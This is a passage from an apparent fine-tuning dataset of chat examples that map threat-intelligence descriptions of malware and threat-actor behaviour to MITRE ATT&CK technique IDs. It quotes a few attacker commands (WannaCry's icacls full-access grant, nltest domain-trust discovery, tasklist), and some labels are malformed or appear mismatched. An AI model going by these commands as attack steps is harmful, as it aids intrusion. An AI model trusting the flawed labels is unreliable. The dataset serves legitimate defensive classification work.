                "role": "user",
                "content": "Cuba can enumerate local drives, disk type, and disk free space."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Whitefly has the ability to download additional tools from the C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet collects the IP address of a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The archive contains a legitimate older version of Microsoft Word (Microsoft Word 2007) executable file that is named ‘Noi dung chi tiet don khieu nai gui cong ty.exe’ which translates to ‘Learn more about how to use your company’ in English. The attacker used the DLL side loading technique to load a malicious DLL by the older version of Microsoft Word. When opening the executable file in the archive, it loads the malicious DLL in the same directory. The DLL executes multi-stage shellcodes and each shellcode employs various technique to hide the next stage"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HTTPBrowser has used DLL side-loading."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hikit has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has removed system logs from \"/var/log/syslog\"."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany can steal data and credentials from browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Denis performed process hollowing through the API calls CreateRemoteThread, ResumeThread, and Wow64SetThreadContext."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor.Oldrea adds Registry Run keys to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SamSam has been seen deleting its own files and payloads to make analysis of the attack more difficult."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has compressed files before exfiltration using TAR and RAR."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Throughout the intrusion, the injected Cobalt Strike Processes utilized various named pipes for inter-process communications. Many of these pipes used default Cobalt Strike pipe patterns."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to obtain file and directory listings."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This DLL is used to create a scheduled task that points to the QuasarRAT binary, microsoft_network.exe, allowing it to remain persistent after reboot"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This module searches the infected system’s files to gather email addresses for information-stealing purposes."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer decrypts code to connect to a remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KGH_SPY can decrypt encrypted strings and write them to a newly created folder."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HenBox attempts to hide itself from the app launcher view by running the following code, passing the parameters COMPONENT_ENABLED_STATE_DISABLED (2) and DONT_KILL_APP (1) to the setComponentEnabledSetting() method."
            },
            {
                "role": "assistant",
                "content": "T1564 - Hide Artifacts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After completing this wiping functionality, the sample will reboot the system using the following command line, which will render it unusable when the system reboots as the important system locations and files have been overwritten with random data"
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LaZagne can perform credential dumping from MSCache to obtain account and password information."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Use PowerShell Constrained Language Mode as it uses IEX, Add-Type, and New-Object. 2) Lock PowerShell Execution Policy, must be set to “AllSigned” via GPO. 3) An allowlisting solution to prevent certain process child-parent execution hierarchies"
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum's backdoor deletes files after they have been successfully uploaded to C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The FIVEHANDS payload is encrypted with AES-128."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire contains some modules that leverage API hooking to carry out tasks, such as netripper."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLATINUM has attempted to get users to open malicious files by sending spearphishing emails with attachments to victims."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mosquito uses a custom encryption algorithm, which consists of XOR and a stream that is similar to the Blum Blum Shub algorithm."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "checks for the existence of anti-virus."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peirates can gain a reverse shell on a host node by mounting the Kubernetes hostPath."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PcShare can capture camera video as part of its collection process."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT and its watchdog component are compiled and executed after being delivered to victims as embedded, uncompiled source code."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has searched for vulnerabilities, tools, and geopolitical trends on Google search engine to target victims"
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following command line is a service created by CobaltStrike and can be found in Windows Event Logs (event id 7045). It runs an encoded powershell command"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the filename owaauth.dll, which is a legitimate file that normally resides in %ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\Auth\\; the malicious file by the same name is saved in %ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\bin\\."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used PowerShell on victim systems to download and run payloads after exploitation."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLATINUM has sent spearphishing emails with attachments to victims as its primary initial access vector."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS uses character replacement, PowerShell environment variables, and XOR encoding to obfuscate code. POWERSTATS's backdoor code is a multi-layer obfuscated, encoded, and compressed blob.  POWERSTATS has used PowerShell code with custom string obfuscation"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A version of Daserf uses the MPRESS packer."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SysUpdate can use WMI for execution on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Instead of more traditional malware like a Windows executable (.exe) or Dynamic Link Library (.dll), the malware authors used a browser extension as their final payload"
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has leveraged numerous pieces of malware that appear to be unique to APT29 and were likely developed for or by the group."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For CostaRicto, the threat actors used custom malware, including PS1, CostaBricks, and SombRAT."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has run the  \"xp_cmdshell\" command in MS-SQL."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USB Worm -&gt; this is the USBWorm component developed for stealing files from removable drives, spread across systems by infecting removable media, and download and execute the “Thin Client” component from a remote Crimson server"
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Amadey has used HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has used DLL side-loading, including by using legitimate Kaspersky antivirus variants in which the DLL acts as a stub loader that loads and executes the shell code."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry uses \"attrib +h\" and \"icacls . /grant Everyone:F /T /C /Q\" to make some of its files hidden and grant all users full access controls."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ABK can extract a malicious Portable Executable (PE) from a photo."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HDoor kills anti-virus found on the victim."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "cmd /c tasklist: Executes this command to collect a list of running processes on victim’s machine and store them in a tmp file"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System', 'T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can upload and download files to the victim."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Linux Rabbit to establish a connection with the C2 server, it utilizes Tor hidden services to act as contact points to access a Tor gateway. The malware will randomly select one of the hidden services and then a Tor gateway to follow in order to establish an active C2 URL. The payload for the malware is then sent from the C2 server as an encoded URL parameter"
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shark can send DNS C2 communications using a unique domain generation algorithm."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee has been downloaded to victim's machines from OneDrive."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DEATHRANSOM can delete volume shadow copies on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Umbreon hides from defenders by hooking libc function calls, hiding artifacts that would reveal its presence, such as the user account it creates to provide access and undermining strace, a tool often used to identify malware."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can run \"nltest /domain_trusts /all_trusts\" for domain trust discovery."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Heyoka Backdoor can establish persistence with the auto start function including using the value `EverNoteTrayUService`."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One computer that was infected with both Cadelspy and Remexi was a system that ran a SIM card editing application"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a shortcut %APPDATA%\\dotNET.lnk pointing to the copy of the malware under %APPDATA%."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As can be seen from the Table 2 above, Kazuar has an extensive command set, many of which are similar in functionality as other backdoor Trojans. However, a few commands specific to Kazuar appear to be unique and are worth further discussion"
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 7 shows how DCRat collects the public IP address from the compromised host by accessing the IP web service named as “https[:]//ipinfo[.]io/json”."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth uses ActiveX objects for file execution and manipulation."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - Signed Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to access the file system on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rancor has attached a malicious document to an email to gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Get2 has the ability to run executables with command-line arguments."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FLIPSIDE is a simple proxy that creates an outbound RDP connection."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. After a few minutes, execute the malicious file on the system. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. Use an advanced endpoint threat detection (AETD) solution to monitor activity on network endpoints. Also implement strict security controls for privileged accounts such as Active Directory administrator to prevent access by an unauthorized user"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuditCred can delete files from the system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This script simply checks the operating system of the victim and downloads the respective payload again using the certutil executable. In this particular instance, the payload is encoded via base64, which certutil decodes. The payload in question is a CAB file that is then unpacked. Finally, the malware executes the extracted install.bat script before deleting the original files and exiting"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can use PsExec to execute a payload on a remote host."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used net use to conduct internal discovery of systems. The group has also used quser.exe to identify existing RDP sessions on a victim."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is heavily obfuscated in many ways, including through the use of spaghetti code in its functions in an effort to confuse disassembly programs. It also uses a custom XOR algorithm to obfuscate code."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADFLICK: a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command and control (C2) configuration. China Chopper: a simple code injection webshell that executes Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime"
            },
            {
                "role": "assistant",
